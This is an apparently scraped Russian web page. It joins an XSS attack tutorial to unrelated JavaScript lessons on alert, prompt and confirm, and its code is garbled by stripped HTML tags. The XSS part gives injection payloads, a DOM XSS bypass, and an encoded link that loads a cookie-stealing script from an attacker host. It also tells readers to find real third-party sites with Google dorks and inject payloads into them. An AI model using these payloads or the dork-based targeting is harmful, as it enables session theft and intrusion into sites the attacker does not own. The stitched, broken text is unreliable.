Межсайтовый скриптинг (XSS) - это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.
Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу - это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.
Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP - этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Если кто-то из пользователей ввёл:
То веб-страница отобразит:
Привет! Нравится твой сайт.
А если пользователь введёт так:
Привет! Нравится твой сайт.alert("Pwned")
То отобразиться это так:
Браузеры хранят множества кукиз большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.
Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.
Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.
Внедрённый код умеет всё то, что умеет JavaScript, а именно:
Простейший пример с кукиз:
alert(document.cookie)
На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.
Виды XSSСамое главное, что нужно понимать про виды XSS то, что они бывают:
Пример постоянных:
Пример непостоянных:
Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):
Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:
Http://example.com/search.php?q="/>alert(1)
А при открытии исходного HTML кода мы видим что-то вроде такого:
alert(1)" /> Найти
А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:
сайт:::DOM XSS
An error occurred...
function OnLoad() {
var foundFrag = get_fragment();
return foundFrag;
}
function get_fragment() {
var r4c = "(.*?)";
var results = location.hash.match(".*input=token(" + r4c + ");");
if (results) {
document.getElementById("default").innerHTML = "";
return (unescape(results));
} else {
return null;
}
}
display_session = OnLoad();
document.write("Your session ID was: " + display_session + "
")
То в браузере мы увидим:
Исходный код страницы:
Давайте сформируем адрес следующим образом:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
Теперь страница выглядит так:
Но давайте заглянем в исходный код HTML:
Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:
Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
Где мы заменили символ ; на кодированный в URI эквивалент!
Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.
XSS AuditorВ Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:
dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.
Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.
Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера - вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.
Примеры эксплуатирования XSSЗлоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.
При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.
Пример атаки с непостоянным XSS
1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.
2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:
2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос
2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.
2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert("xss"); :
2.3.1 Появляется сообщение с предупреждением (которое говорит "xss").
2.3.2 Страница отображает alert("xss"); не найдено наряду с сообщением об ошибке с текстом "xss".
2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert("xss");
3. Мэлори конструирует URL для эксплуатации уязвимости:
3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.
3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».
4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.
5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.
7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.
8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.
Атака с постоянным XSS
Дорки для XSS
Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:
Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.
Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения - WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.
Самые лучшие цели - это разнообразные самописные движки и скрипты.
В качестве полезной нагрузки для вставки можно выбрать
alert(1)
Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода (input ):
alert(1)
Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать - закроем двойную кавычку, а затем и сам тэг с помощью "/>
"/>alert(1)
Давайте попробуем её для какого-нибудь сайта:
Отлично, уязвимость имеется
Программы для поиска и сканирования XSS уязвимостиНаверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.
Имеются также специализированные инструменты для сканирования на XSS уязвимости. Среди них особенно можно выделить.
Итак, объекты браузера. И в первую очередь - самый старший из них, объект window .
Вот основные методы объекта window (кроме них есть и другие, но они малоупотребительны, и, чтобы не загромождать мозги лишней информацией, я отложу их до третьей серии).
Метод |
Описание |
Открытые и закрытие окна браузера; есть возможность определять размер окна, его содержимое, а также наличие кнопочной панели, поля адреса и других атрибутов. |
|
Появление окна сигнального диалога с соответствующим сообщением. |
|
Появление окна диалога подтверждения с кнопками "ОК" и "Cancel". |
|
Появление окна диалога подсказки с полем текстового ввода. |
|
Установка или удаление фокуса для окна. |
|
Прокрутка содержимого окна до определенной точки. |
|
Установка временного интервала между функциональным вызовом и вычислением выражения. |
|
Установка однократного временного интервала до функционального вызова или вычисления выражения. |
Мы уже знаем, что window часто подразумевается, но не пишется.
Вызов различных окон диалогаОкна диалога применяются в программах для взаимодействия с пользователем.
Метод alert()
Его мы разбирали в самом начале наших занятий. Он создаёт простейшее диалоговое окно с сообщением и кнопкой ОК. Всё его взаимодействие ограничивается тем, что пользователь, нажав эту единственную кнопку, может послать это окно куда-нибудь подальше (и на том спасибо).
Метод confirm()
Метод confirm() уже даёт возможность пользователю принять простейшее «булево» решение: сказать «да» или «нет».
Вот, например, нажмите эту кнопку:
Извините за маленький розыгрыш. Надеюсь, Вы умеете пользоваться кнопкой «назад».
Как это всё устроено? Вы, конечно, увидели, что у меня этот метод скомбинирован с алертами. И сделано это с помощью функции, которая вставлена в .
Метод возвращает два значения: true (если ОК) и false (если отмена).
В true мы отправляем его на соответствующую страницу (свойство href объекта location ) и выводим соответствующий alert() . В противном случае (то есть false ) просто выводим другой alert() .
А в кнопочке вызываем функцию в событии onClick :
А затем нужно вызвать эту функцию из обработчика события onSubmit тэга , например:
Вот здесь, например, Вы можете написать мне на «мыло» всё, что думаете о моих уроках. Если вдруг погорячились и нажали кнопку, а потом неловко как-то стало, выскочит окно диалога и отрезвит Вас.
Если Вы делаете всплывающие окна, то хорошим тоном является предупреждать об этом пользователя и давать ему выбор - открывать окно или не открывать. Для этого перед загрузкой окна надо выпустить «парламентёра» - диалог confirm() . Здесь функция вызывается из . Об этом мы очень скоро поговорим, когда перейдём к созданию окон методом open() .
Метод prompt()
Этот метод уже запрашивает у пользователя конкретные данные. Появляется окно диалога с полем ввода. Метод возвращает данные, которые пользователь ввёл в это поле, и позволяет программе работать с этими данными.
У метода prompt() два аргумента: вопрос (который появляется над полем ввода) и ответ (текст в поле ввода):
Если хотите, чтобы поле ввода появилось чистым, поставьте вторым аргументом пустые кавычки:
prompt ("текст вопроса ","") |
Давайте посмотрим это в действии. Нажмите кнопку, не бойтесь.
Итак, Вы ввели (или не ввели) данные и получили от компьютера ответ, опирающийся на эти данные (или их отсутствие).
Вот простой вариант этой функции:
Свойство innerHTML , позволяющее контролировать содержимое тэга, встречалось нам в 10 уроке, когда мы программировали названия под картинками.
А вот код кнопки и пустого абзаца для приветствия.
|
Но если Вы оказались моим тёзкой, то увидели, что функция среагировала и на это.
Как это сделать в «грубом» варианте, можете уже догадаться сами. Нужно проверить переменную user_name не только на пустые кавычки, но и на "Андрей ", и вложить ещё один if с соответствующим текстом (можете потренироваться сами).
Но если Вы наберёте "Андрей ", "Андрюша ", "Андрюшка ", "Андрюха ", "Андрейка ", "Андрей Иваныч " и т.п., то результат получится аналогичный, хотя я и не перебирал явно все эти значения, а обошёлся только пятью строками: "Андре ", "Андрю ", "Андрее ", "Андрейче " и "Андрейчу " (три последние - чтобы исключить из тёзок Андреева, Андрейченко и Андрейчука, сохранив в тёзках Андрейчика).
То есть можно догадаться, что функция проверяет переменную user_name на первые 5, 6 или 8 символов.
Но об этом мы будем говорить несколько позже, когда перейдём к строковым объектам и их методам. Просто я хочу, чтобы Вы заранее представляли те задачи, которые нам предстоит решать (в частности, всевозможные расщепления строк на подстроки). Тогда и сами решения покажутся понятнее. Но если не терпится, можете «срисовать» функцию из кода и «разделать под орех». Для любопытных я написал там комментарий.
Метод prompt() можно также использовать для ввода пароля.
Это ещё не конец урока!
Давайте немножко «поиграем в шпионов», чтобы дочитать до конца эту главу. Сначала попробуйте нажать кнопку и что-нибудь ввести.
А-а, вот так-то! Но смотрите, появилась ещё кнопка! Ну-ка...
Пароль:
Снова нажимаем первую кнопку и вводим правильный пароль.
Вся эта забава, пожалуй, бьёт на эффект, но на самом деле пароль можно узнать, нажав правую кнопку и посмотрев его в коде. Кто-то может наивно подумать, что достаточно поместить код в отдельный файл.js. Но в коде страницы будет ссылка на этот файл с указанием адреса. И если набрать его в адресной строке, то откроется файл с кодом JavaScript:)
Можно ли зашифровать пароль в коде? Можно, но для этого опять нужны манипуляции со строками вместе с применением некоторых математических методов. Когда мы до всего этого доберёмся, то изучим и скрипт «настоящего» пароля. Но техника взаимодействия с пользователем будет всё та же: метод prompt() . (Можно ли «расколоть» зашифрованный пароль? Увы, совершенству хакеров нет предела...)
Точно так же, как мы «ловили» имя или его отсутствие, поймаем функцией и пароль.
Если ввести неверный пароль или не ввести ничего, строка
document.getElementById("no").style.display = "block"
откроет блок со второй кнопкой
А если введён правильный пароль, действие передаётся строке
document.getElementById("yes").style.display = "block" ,
которая открывает следующий блок
Стоп, а что это там за крякозубры? Это незамысловатая шифровочка, скоро поясню.
А пока даю код этих блоков (для наглядности опускаю таблицу с рамками, которая у меня заключена в последний блок):
А-а, вот так-то! Но смотрите, появилась ещё кнопка! Ну-ка... Пароль:
Снова нажимаем первую кнопку и вводим правильный пароль. Теперь читаем дальше. . . . . . . . . . . |
Так вот, о шифровке. Она весьма убогая. Любой, знающий функции escape() и unescape() , тут же её взломает.
Функция escape("сюда ввести строку") преобразовывает символы в их шестнадцатеричные значения.
Функция unescape("сюда ввести крякозубры") выполняет обратное действие.
Чтобы таким образом зашифровать пароль, нужно у себя дома прогнать его через escape() , скопировать результат и вставить его в unescape() . Но это, повторяю, несерьёзно.
Ну и для полного комплекта - функция для второй кнопки:
Для вывода стандартных диалоговых окон у JavaScript есть только три метода, которые мы сегодня узнали. Хотя эти методы случается применять не так уж часто, умение уверенно с ними обращаться чрезвычайно полезно. Они просты, но при этом относятся, так сказать, к «чистому» программированию. На них очень хорошо набивать руку в освоении языка программирования. И я Вам советую всячески поэкспериментировать с ними, пусть даже бесцельно с прагматической точки зрения. Хорошее программирование - это увлекательная игра, как, впрочем, и любое творчество.
В JavaScript существует три базовых операции, которые позволяют получать данные от пользователя, для дальнейшей их обработки в скриптах. Это alert, prompt и confirm. Для чего они применяются, как их использовать и прочие нюансы и будут рассмотрены далее в этой статье.
alertПрименяется для вывода на экран браузера модального окна (это означает, что пользователь ничего не может нажать на странице, пока не закроет это окно. В рассматриваемом примере, до тех пор, пока не кликнет «ОК» в окне).
После вывода сообщения, содержащегося в alert, выполнение скрипта приостанавливается и возобновляется после закрытия модального окна.
В случае заполнения поля и нажатия ОК, в скрипт вернется информация, которую ввел пользователь.
Синтаксис данной команды несколько сложнее, чем предыдущей, поскольку позволяет задать текст обращения к пользователю и содежимое поля для ввода информации, которое будет выводиться по умолчанию: result = prompt(title, default ) ; , где
var myTest = prompt("Любое инфо" , """);
Маленький пример использования prompt:
var year = prompt("В каком году вы закончили ВУЗ?" , 2008 ) ; alert("Вы выпускник " + year + " года!" ) ;
Обычно данная команда используется для сбора данных у пользователей, которые необходимы скрипту для продолжения дальнейшей работы.
confirmТакже представляет собой модальное окно. Как не сложно догадаться из названия используется обычно для согласования чего-либо с пользователем.
Для того и заточена – для взаимодействия предоставляет пользователю кнопки OK и CANCEL, которые возвращают скрипту булевы значения true и false соответственно.Оценок: 4 (средняя 4 из 5 )